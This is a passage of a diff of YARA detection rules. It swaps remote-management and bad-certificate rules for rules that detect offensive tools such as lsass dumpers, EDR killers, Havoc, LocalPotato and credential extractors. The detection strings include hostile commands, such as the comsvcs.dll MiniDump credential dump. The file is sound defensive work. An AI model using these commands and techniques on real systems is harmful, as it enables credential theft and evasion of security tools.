+rule DITEKSHEN_INDICATOR_TOOL_Gogoprocdump : FILE
 {
 	meta:
-		description = "Detects Splashtop Streamer. Review RMM Inventory"
+		description = "Detects GoGo (lsass) process dump tool"
 		author = "ditekSHen"
-		id = "317f2be4-983f-5528-b629-75a13de7b411"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L385-L403"
+		id = "f92845c6-f8ae-50d0-97ea-cfa72051c2de"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1637-L1650"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "67181cd6ae071074c6bf35f44963c11c9ee9b7df242027c15b1e165d108f7b98"
+		logic_hash = "f410882e4c6c8b65e7d3c192cf94bf99d61cf54dc21d80cdf17193b34752c576"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.RMM.SplashtopStreamer"
 
 	strings:
-		$s1 = "\\slave\\workspace\\GIT_WIN_SRS_Formal\\Source\\irisserver\\" ascii
-		$s2 = ".api.splashtop.com" wide
-		$s3 = "Software\\Splashtop Inc.\\Splashtop" wide
-		$s4 = "restarted the streamer.%nApp version: %1" wide
-		$s5 = "Splashtop-Splashtop Streamer-" wide
-		$s6 = "[RemoveStreamer] Send msg 2 cloud(%d:%d:%d)" wide
+		$s1 = "C:\\temp" ascii
+		$s2 = "gogo" fullword ascii
+		$s3 = "/DumpLsass-master/SilentProcessExit/" ascii
+		$s4 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zone" ascii
+		$s5 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe" ascii
+		$s6 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe" ascii
 
 	condition:
 		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Splashtopstreamer_CERT : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Fscan : FILE
 {
 	meta:
-		description = "Detects Splashtop Streamer by certificate. Review RMM Inventory"
+		description = "Detects GoGo scan tool"
 		author = "ditekSHen"
-		id = "7e0e4d6f-38a3-5cac-8a82-8aea7943d373"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L405-L419"
+		id = "3bf73853-15c1-54f7-866a-6a7632e39f19"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1652-L1666"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0a1225a79ff30678846b9cb4315419be04b46276b3e05310a21d088b30f01b72"
+		logic_hash = "b107eb767454c4c084a7237c107c8414bdb03c324902769ac544c5903e346e17"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
+	strings:
+		$s1 = "fscan version:" ascii
+		$s2 = "Citrix-ConfProxyCitrix-MetaframeCitrix-NetScalerCitrix-XenServerCitrix_Netscaler" ascii
+		$s3 = "(AkamaiGHost)(DESCRIPTION=(Typecho</a>)(^.+)([0-9]+)(confluence.)(dotDefender)" ascii
+		$s4 = "/fscan/" ascii
+		$s5 = "WebScan.CheckDatas" ascii
+		$s6 = "'Exploit.Test" ascii
+		$s7 = "rules:" ascii
+
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert" and pe.signatures[i].subject contains "Splashtop Inc.")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Aeroadmin : FILE
+rule DITEKSHEN_INDICATOR_TOOL_BURTNCIGAR : FILE
 {
 	meta:
-		description = "Detects AeroAdmin. Review RMM Inventory"
+		description = "Detects BURNTCIGAR a utility which terminates processes associated with endpoint security software"
 		author = "ditekSHen"
-		id = "0f69c6da-40e4-5952-b6f9-ed401279eb9e"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L421-L442"
+		id = "b5260d7e-07ac-5633-b450-e2124cbba65b"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1668-L1680"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a0a9e15f31b6b06fbc749b863563c30351c775c1b1d17952013670e7e1d68c41"
+		logic_hash = "4977332a0b20b300a5fc34f0f8d56221f55b66783853306d803e91701cb7e6ec"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.RMM.AeroAdmin"
+		clamav1 = "INDICATOR.Win.TOOL.BURNTCIGAR"
 
 	strings:
-		$s1 = "\\AeroAdmin" wide
-		$s2 = ".aeroadmin.com" ascii wide
-		$s3 = "XAeroadminAppRestarter" wide
-		$s4 = "SYSTEM\\ControlSet001\\Control\\SafeBoot\\Network\\AeroadminService" wide
-		$s5 = "AeroAdmin {}" ascii
-		$s6 = "FAeroAdmin.cpp" fullword ascii
-		$s7 = "Referer: http://900100.net" ascii
-		$s8 = "POST /sims/sims_new.php" ascii
-		$s9 = "aeroadmin.pdb" ascii
+		$s1 = "Kill PID =" ascii
+		$s2 = "CreateFile Error =" ascii
+		$s3 = "\\KillAV" ascii
+		$s4 = "DeviceIoControl" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and 3 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Aeroadmin_CERT : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Pplblade : FILE
 {
 	meta:
-		description = "Detects AeroAdmin by certificate. Review RMM Inventory"
+		description = "Detects PPLBlade Protected Process Dumper Tool that support obfuscating memory dump and transferring it on remote workstations without dropping it onto the disk"
 		author = "ditekSHen"
-		id = "ca34fd3c-eb76-57e3-8b62-ab0d0c9ec7b3"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L444-L461"
+		id = "60c9b036-51a0-5e08-83de-1f69f62245c3"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1698-L1722"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f1fe2d2bb6a8afd25fc5ee7a60fe5a931484591bafab24c5d488c7f0483e248a"
+		logic_hash = "da21402b07fcd0358ba630e48ab35956cb7ed8c12836a339c85b2ee5e414543e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.RMM.AeroAdmin"
+
+	strings:
+		$x1 = "PPLBlade" ascii
+		$x2 = "/PPLBlade/" ascii
+		$x3 = "PPLBlade.exe --mode" ascii
+		$x4 = "PPLBLADE.SYSPPLBlade.dmp" ascii
+		$s1 = "Dump bytes sent at %s:%d. Protocol: %s" ascii
+		$s2 = "Deobfuscated dump saved in file %s" ascii
+		$m1 = "main.WriteDriverOnDisk" ascii
+		$m2 = "main.ProcExpOpenProc" ascii
+		$m3 = "main.miniDumpCallback" ascii
+		$m4 = "main.copyDumpBytes" ascii
+		$m5 = "main.MiniDumpGetBytes" ascii
+		$m6 = "main.SendBytesRaw" ascii
+		$m7 = "main.SendBytesSMB" ascii
+		$m8 = "main.DeobfuscateDump" ascii
+		$m9 = "main.dumpMutex" ascii
+		$m10 = "main.dbghelpDLL" ascii
+		$m11 = "main.miniDumpWriteDump" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "GlobalSign" and (pe.signatures[i].subject contains "Aeroadmin LLC" or pe.signatures[i].subject contains "@aeroadmin.com"))
+		uint16(0)==0x5a4d and (3 of ($x*) or (1 of ($x*) and (1 of ($s*) or 3 of ($m*))) or ( all of ($s*) and 3 of ($m*)) or (7 of ($m*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_56203Db039Adbd6094B6A142C5E50587 : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Sharpldap : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects SharpLDAP tool written in C# that aims to do enumeration via LDAP queries"
 		author = "ditekSHen"
-		id = "b3e56f78-e79a-52e3-b29e-1f566946609e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "597e578d-41f0-595e-b92c-0c3676d8b47a"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3-L14"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1724-L1739"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "38380bc1a22b8d0fe851f76d2ecadba638f10b01873be44766124fb738e23d71"
+		logic_hash = "da5db3f2907229dc68e3c6f3351361a4b1fb9fe8afc597c9dfe611f9725c6181"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e438c77483ecab0ff55cc31f2fd2f835958fad80"
-		importance = 20
+
+	strings:
+		$x1 = "SharpLDAP" ascii wide
+		$x2 = "SharpLDAP.pdb" ascii
+		$s1 = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" wide
+		$s2 = "(&(servicePrincipalName=*))" wide
+		$s3 = "/Enumerating (Domain|Enterprise|Organizational|Service|Members|Users|Computers)/" wide
+		$s4 = "ListMembers" fullword ascii
+		$s5 = "GroupMembers" fullword ascii
+		$s6 = "get_SamAccountName" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bccabdacabbdcda" and pe.signatures[i].serial=="56:20:3d:b0:39:ad:bd:60:94:b6:a1:42:c5:e5:05:87")
+		uint16(0)==0x5a4d and ((1 of ($x*) and 4 of ($s*)) or (5 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_B5F34B7C326C73C392B515Eb4C2Ec80E : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Pandora : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects Pandora tool to extract credentials from password managers"
 		author = "ditekSHen"
-		id = "f5d19333-4aee-52d3-aeac-822b39ec653a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3f71f24b-755f-5967-afbf-04a512bd0a19"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L16-L27"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1741-L1755"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "553ef777cb7a93934caa53cc9acdc37fc4cbe2a28ae320f4a7f10b2a4073d675"
+		logic_hash = "dd5be3b99b62ec40c242225d9420b9ce299c4f348882b0380289309dfedbc1e8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9d35805d6311fd2fe6c49427f55f0b4e2836bbc5"
-		importance = 20
+
+	strings:
+		$s1 = "process PID:" fullword wide
+		$s2 = "Dump file created:" fullword wide
+		$s3 = "System.Security.AccessControl.FileSystemAccessRule('Everyone', 'FullControl', 'Allow')" ascii
+		$s4 = "{[math]::Round($_.PrivateMemorySize64" ascii
+		$s5 = "rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump $" ascii
+		$s6 = "\"payload\":{\"logins\":" ascii
+		$s7 = "\\pandora.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cdaadbffbaedaabbdedfdbfebf" and pe.signatures[i].serial=="b5:f3:4b:7c:32:6c:73:c3:92:b5:15:eb:4c:2e:c8:0e")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0A1Dc99E4D5264C45A5090F93242A30A : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Havoc : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects Havoc Demon"
 		author = "ditekSHen"
-		id = "8efea9da-a3ae-5af3-83b2-cac5baa4fa89"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "71ad145c-4017-597a-837e-5d11ba64d7c0"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L29-L40"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1757-L1774"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cb230503e17e93f78b04723c32d7ce66bdf146846e0208d268eebc0e446a6917"
+		logic_hash = "c5806deaa57590ebe1923608b9b085460e0edd024721e6e9d7073765a79bf22b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "17680b1ebaa74f94272957da11e914a3a545f16f"
-		importance = 20
+
+	strings:
+		$x1 = "X-Havoc:" wide
+		$x2 = "X-Havoc-Agent:" wide
+		$s1 = "\\Werfault.exe" wide
+		$s2 = "/funny_cat.gif" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "K & D KOMPANI d.o.o." and pe.signatures[i].serial=="0a:1d:c9:9e:4d:52:64:c4:5a:50:90:f9:32:42:a3:0a")
+		uint16(0)==0x5a4d and ( all of ($x*) or 3 of them or (pe.number_of_imports==0 and pe.number_of_exports==0 and 2 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0D53690631Dd186C56Be9026Eb931Ae2 : FILE
+rule DITEKSHEN_INDICATOR_TOOLS_Localpotato : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
-		author = "ditekSHen"
-		id = "f0afbdf4-68db-522f-95d7-cd76aa7b9710"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects LocalPotato"
+		author = "ditekShen"
+		id = "65f8305b-b830-58e7-970b-da1df9a06e9b"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L42-L53"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1776-L1807"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "645c2340fe7e7ce992f3f655d5058834d0df6a64ea20ef7794893a592124c55e"
+		logic_hash = "88fba16a6eec6d2c23331642041c6adfddddeb21ba8e74b6959bd48c90f73cbb"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "c5d1e46a40a8200587d067814adf0bbfa09780f5"
-		importance = 20
+
+	strings:
+		$x1 = "LocalPotato.stg" fullword wide
+		$x2 = "we always love potatoes" fullword ascii
+		$s1 = "{00000306-0000-0000-c000-000000000046}" wide
+		$s2 = "{854A20FB-2D44-457D-992F-EF13785D2B51}" wide
+		$s3 = "cifs/127.0.0.1" wide
+		$s4 = "\\\\127.0.0.1\\c$" wide
+		$s5 = "complete failed: 0x%08x" ascii
+		$s6 = "Authorization: NTLM %s" ascii
+		$s7 = "Objref Moniker Display Name = %S" ascii
+		$s8 = "SMB Connect Tree: %S" ascii
+		$s9 = "b64type=%s" fullword ascii
+		$s10 = "decodes=%s" fullword ascii
+		$s11 = { 53 4d 42 72 00 00 00 00 18 01 48 00 00 00 00 00
+               00 00 00 00 00 00 00 ff ff ac 7b 00 00 00 00 00
+               22 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00 02 53
+               4d 42 20 32 2e 30 30 32 00 02 53 4d 42 20 32 2e
+               3f 3f 3f 00 00 00 00 00 00 00 00 00 00 00 68 fe
+               53 4d 42 40 }
+		$o1 = { 44 8b 4c 24 34 48 8d 44 24 38 48 89 44 24 28 4c }
+		$o2 = { e8 c4 ff ff ff 33 d2 48 8d 4d f0 41 b8 d0 04 00 }
+		$o3 = { 83 7b 0c 00 75 42 8b 03 25 ff ff ff 1f 3d 21 05 }
+		$o4 = { 3c 68 74 6c 3c 6a 74 5c 3c 6c 74 34 3c 74 74 24 }
+		$o5 = { e9 39 ff ff ff cc 48 89 5c 24 08 4c 89 4c 24 20 }
+		$o6 = { 48 b9 ff ff ff ff ff ff 0f 00 48 8b c2 41 b8 0c }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "STA-R TOV" and pe.signatures[i].serial=="0d:53:69:06:31:dd:18:6c:56:be:90:26:eb:93:1a:e2")
+		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and 5 of ($s*)) or 8 of ($s*) or (4 of ($o*) and (1 of ($x*) or 5 of ($s*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Fd8C468Cc1B45C9Cfb41Cbd8C835Cc9E : FILE
+rule DITEKSHEN_INDICATOR_TOOLS_Edrsandblast : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
-		author = "ditekSHen"
-		id = "836af706-3a82-5aaf-9a96-244eef5820b2"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects EDRSandBlast"
+		author = "ditekShen"
+		id = "85d6d82b-a30e-5c79-93e7-8a3bbbf4a403"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L55-L66"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1809-L1831"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "495ec6dbfdec3f608e387280e2d34093bb4965f5ada7c101e3119ae970eaf80d"
+		logic_hash = "9b801f053e42fbd646cf62fecf6cbf5f2cceeec82bed93ecd8625984eccb08c6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "08fc56a14dcdc9e67b9a890b65064b8279176057"
-		importance = 20
+
+	strings:
+		$s1 = "credguard" fullword wide
+		$s2 = "\\cmd.exe" fullword wide
+		$s3 = "ci_%s.dll" fullword wide
+		$s4 = "cmd /c sc" wide
+		$s5 = "fltmgr_%s.sys" fullword wide
+		$s6 = "ntoskrnl_%s.exe" fullword wide
+		$s7 = "ProductDir" fullword wide
+		$s8 = "lsass.exe" fullword wide
+		$s9 = "0x%p;%ws;%ws;;;" ascii
+		$s10 = "MiniDumpWriteDump" ascii
+		$s11 = "EDRSB_Init: %u" ascii
+		$s12 = "ntoskrnloffsets.csv" fullword wide nocase
+		$s13 = "wdigestoffsets.csv" fullword wide nocase
+		$o1 = { eb 0e 8b 85 34 15 00 00 ff c0 89 85 34 15 00 00 }
+		$o2 = { 74 48 8b 85 34 15 00 00 41 b9 04 01 00 00 4c 8d }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Pivo ZLoun s.r.o." and pe.signatures[i].serial=="fd:8c:46:8c:c1:b4:5c:9c:fb:41:cb:d8:c8:35:cc:9e")
+		uint16(0)==0x5a4d and 7 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_32Fbf8Cfa43Dca3F85Efabe96Dfefa49 : FILE
+rule DITEKSHEN_INDICATOR_TOOLS_Rsockstun : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
-		author = "ditekSHen"
-		id = "9a228e0e-256b-547d-af6d-960089f2f803"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects rsockstun"
+		author = "ditekShen"
+		id = "a284a607-abea-5914-ad3a-84eaff733ee0"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L68-L79"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1833-L1845"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7e53dcd2e10285f710f1fb2355d77db3507ce346e8d0f26843ca8df2271a6e9e"
+		logic_hash = "4ad0ac389bf8961b0dd987a72d5dd534e5e3cc673f0e07aa49d39d1fd3f5f53e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "498d63bf095195828780dba7b985b71ab08e164f"
-		importance = 20
+
+	strings:
+		$s1 = "main.connectviaproxy" ascii
+		$s2 = "main.connectForSocks" ascii
+		$s3 = "main.listenForClients" ascii
+		$s4 = "main.listenForSocks" ascii
+		$s5 = "Proxy-Authorization: NTLM TlRMTVNTUAABAAAABoIIAAAAAAAAAAAAAAAAAAAAAAA=" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Foxstyle LLC" and pe.signatures[i].serial=="32:fb:f8:cf:a4:3d:ca:3f:85:ef:ab:e9:6d:fe:fa:49")
+		( uint16(0)==0x5a4d or uint16(0)==0x457f) and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_7E0Ccda0Ef37Acef6C2Ebe4538627E5C : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Scmaldevinj_Go : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
-		author = "ditekSHen"
-		id = "89006ac2-5cbc-5e7f-9ca6-51316b8d4bfd"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects Go shell/malware dev injector"
+		author = "ditekShen"
+		id = "56ec114f-8e16-5ab6-ae3b-a182cb381b4a"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L81-L92"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1847-L1857"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "aed6c65f9c6400c0cc94386be684d3b9dd8d7637f9798fb49f4f651cf28b2d12"
+		logic_hash = "48c3c759283c63a0c439cfba0194da89f402189e4c3cd831c22b5078ccae47b1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a758d6799e218dd66261dc5e2e21791cbcccd6cb"
-		importance = 20
+
+	strings:
+		$s1 = "hooka/shellcode.go" ascii
+		$s2 = "/maldev\x09v" ascii
+		$s3 = "Binject/debug/pe." ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Orangetree B.V." and pe.signatures[i].serial=="7e:0c:cd:a0:ef:37:ac:ef:6c:2e:be:45:38:62:7e:5c")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0095E5793F2Abe0B4Ec9Be54Fd24F76Ae5 : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Reversessh_Go : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
-		author = "ditekSHen"
-		id = "94878b56-5b29-55a8-a8ec-7ace588e34ef"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects golang reverse ssh tool"
+		author = "ditekShen"
+		id = "4fb671aa-ad42-5f7e-bd5a-c19f018088c9"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L94-L105"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1859-L1868"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b1f8867b47c1bec43b3603af343d6d5728ec218a66863a6777c0ee59ae1faa98"
+		logic_hash = "4f9899aacc09c7da05fb5d412cfe8e91ee0d8e922189a6f921410d73ae8b3a9c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "6acdfee2a1ab425b7927d0ffe6afc38c794f1240"
-		importance = 20
+
+	strings:
+		$s1 = "/reverse_ssh/" ascii
+		$s2 = "main.rsshService" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Kommservice LLC" and pe.signatures[i].serial=="00:95:e5:79:3f:2a:be:0b:4e:c9:be:54:fd:24:f7:6a:e5")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00C167F04B338B1E8747B92C2197403C43 : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Sharpghosttask : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects SharpGhostTask"
 		author = "ditekSHen"
-		id = "d838e09b-e2f2-585a-a33d-bfe34f989e77"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "84d71179-0cfd-5389-b6bd-92c292361b3c"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L107-L118"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1870-L1881"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "008fe748c7956c1885c7d7e3a843d2310c17b7552dbbe9b4750809a5642d7ca6"
+		logic_hash = "3de8d9fe7804e208ff556b6bedbd80eebfda1a730626403418a555ad9fbbb820"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7af7df92fa78df96d83b3c0fd9bee884740572f9"
-		importance = 20
+
+	strings:
+		$x1 = "Ghosted" wide
+		$x2 = /--target(binary|task)/ fullword wide
+		$x3 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\T" wide nocase
+		$s4 = "__GhostTask|" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FORTUNE STAR TRADING, INC." and pe.signatures[i].serial=="00:c1:67:f0:4b:33:8b:1e:87:47:b9:2c:21:97:40:3c:43")
+		uint16(0)==0x5a4d and 3 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Fc7065Abf8303Fb472B8Af85918F5C24 : FILE
